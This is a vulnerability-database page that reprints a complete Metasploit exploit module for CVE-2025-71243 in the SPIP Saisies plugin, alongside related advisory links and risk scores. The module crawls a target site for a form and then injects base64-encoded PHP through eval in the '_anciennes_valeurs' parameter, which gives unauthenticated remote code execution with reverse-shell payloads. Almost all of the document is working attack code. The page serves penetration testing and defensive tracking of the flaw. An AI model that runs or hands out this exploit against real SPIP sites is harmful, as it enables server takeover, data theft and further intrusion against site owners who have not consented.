Lucene search
K

SPIP Saisies Plugin Unauthenticated RCE

🗓️ 09 Mar 2026 18:57:57Reported by OpenStudio, Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 253 Views

Unauthenticated PHP code execution in SPIP Saisies plugin via hidden field _anciennes_valeurs.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-71243
19 Feb 202614:58
attackerkb
GithubExploit
Exploit for CVE-2025-71243
19 Feb 202616:13
githubexploit
Circl
CVE-2025-71243
19 Feb 202616:31
circl
CNNVD
SPIP 代码注入漏洞
19 Feb 202600:00
cnnvd
CVE
CVE-2025-71243
19 Feb 202614:58
cve
Cvelist
CVE-2025-71243 SPIP Saisies Plugin < 5.11.1 Remote Code Execution
19 Feb 202614:58
cvelist
Nuclei
SPIP Saisies - Remote Code Execution
8 Jun 202604:09
nuclei
NVD
CVE-2025-71243
19 Feb 202616:27
nvd
Packet Storm
📄 SPIP Saisies 5.11.0 Remote Code Execution
24 Feb 202600:00
packetstorm
Packet Storm
📄 SPIP Saisies 5.11.0 Remote Code Execution
24 Feb 202600:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Spip
  prepend Msf::Exploit::Remote::AutoCheck

  FORM_PARAM = '_anciennes_valeurs'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SPIP Saisies Plugin Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated PHP code injection in the SPIP
          Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is
          interpolated unsanitized into a hidden field rendered with
          interdire_scripts=false, allowing direct PHP code execution via template
          eval.

          Exploitation requires a publicly accessible page containing a
          saisies-powered form, most commonly created with the Formidable plugin.
          Use the FORM_PAGE option to specify a known form page, or set it to
          'crawl' to automatically discover one by following internal links from
          the SPIP sitemap.

          Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.
        },
        'Author' => [
          'OpenStudio', # Discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # PoC and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-71243'],
          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html'],
          ['URL', 'https://plugins.spip.net/saisies']
        ],
        'Targets' => [
          [
            'PHP In-Memory', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2025-02-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('FORM_PAGE', [
        true,
        'Page containing a saisies form (e.g. "contact"), or "crawl" to auto-discover',
        'crawl'
      ]),
      OptInt.new('CRAWL_MAX_PAGES', [true, 'Maximum pages to visit when crawling', 100])
    ])
  end

  def check
    version = spip_plugin_version('saisies')
    if version
      print_status("Saisies plugin version: #{version}")
      if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
        return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
      end

      return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
    end

    spip_ver = spip_version
    return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver

    CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.")
  end

  # Find a page containing a saisies form (_anciennes_valeurs parameter).
  # When FORM_PAGE is set to a specific page name, only that page is checked.
  # When set to 'crawl', the module fetches the SPIP sitemap and follows
  # internal links until a form is found or CRAWL_MAX_PAGES is reached.
  def find_form_page
    if datastore['FORM_PAGE'].downcase != 'crawl'
      page = datastore['FORM_PAGE']
      if page.start_with?('/')
        return page if saisies_form?(page)

        fail_with(Failure::NotFound, "No saisies form found at #{page}")
      end

      uri = normalize_uri(target_uri.path, 'spip.php')
      full_uri = "#{uri}?page=#{page}"
      return full_uri if saisies_form?(uri, 'page' => page)

      fail_with(Failure::NotFound, "No saisies form found at #{full_uri}")
    end

    crawl_for_form
  end

  def saisies_form?(uri, vars_get = {})
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => vars_get)
    res&.code == 200 && res.body.include?(FORM_PARAM)
  end

  def crawl_for_form
    max_pages = datastore['CRAWL_MAX_PAGES']
    seen = Set.new
    queue = []

    # Seed with the SPIP sitemap page
    plan_path = normalize_uri(target_uri.path, 'spip.php')
    plan_uri = "#{plan_path}?page=plan"
    res = send_request_cgi('method' => 'GET', 'uri' => plan_path, 'vars_get' => { 'page' => 'plan' })
    if res&.code == 200
      seen.add(plan_uri)
      extract_internal_links(res).each { |link| queue << link }
    end

    # Also seed with the base URL
    base_uri = normalize_uri(target_uri.path, 'spip.php')
    queue << base_uri unless seen.include?(base_uri)

    print_status("Crawling for saisies forms (max #{max_pages} pages)...")

    until queue.empty? || seen.size >= max_pages
      uri = queue.shift
      next if seen.include?(uri)

      seen.add(uri)
      vprint_status("Checking #{uri}")

      begin
        res = send_request_cgi('method' => 'GET', 'uri' => uri)
      rescue ::Rex::ConnectionError
        next
      end

      next unless res&.code == 200

      if res.body.include?(FORM_PARAM)
        print_good("Form found at #{uri} (checked #{seen.size} pages)")
        return uri
      end

      extract_internal_links(res).each do |link|
        queue << link unless seen.include?(link)
      end
    end

    fail_with(Failure::NotFound, "No saisies form found after crawling #{seen.size} pages.")
  end

  # Extract internal links from an HTML response, filtering out static assets.
  def extract_internal_links(res)
    links = []
    doc = res.get_html_document
    return links unless doc

    doc.css('a[href]').each do |a|
      href = a['href'].to_s.strip
      next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i)

      # Resolve protocol-relative URLs (//example.com/page)
      if href.start_with?('//')
        href = "#{ssl ? 'https' : 'http'}:#{href}"
      end

      # Resolve absolute URLs to paths
      if href.start_with?('http://', 'https://')
        uri = begin
          URI.parse(href)
        rescue StandardError
          next
        end
        target = begin
          URI.parse(full_uri)
        rescue StandardError
          next
        end
        next unless uri.host == target.host

        href = uri.path
        href += "?#{uri.query}" if uri.query
      elsif !href.start_with?('/')
        href = normalize_uri(target_uri.path, href)
      end

      links << href
    end

    links.uniq
  end

  def exploit
    form_uri = find_form_page

    print_status('Sending payload...')

    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64 = Rex::Text.encode_base64(phped_payload)
    tag = Rex::Text.rand_text_alpha(8)
    injection = "#{tag}' /><?php eval(base64_decode('#{b64}')); ?><input value='#{tag}"

    send_request_cgi({
      'method' => 'POST',
      'uri' => form_uri,
      'vars_post' => {
        FORM_PARAM => injection
      }
    }, 5)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jun 2026 19:01Current
6.2Medium risk
Vulners AI Score6.2
CVSS 49.3
CVSS 3.19.8
EPSS0.85415
SSVC
253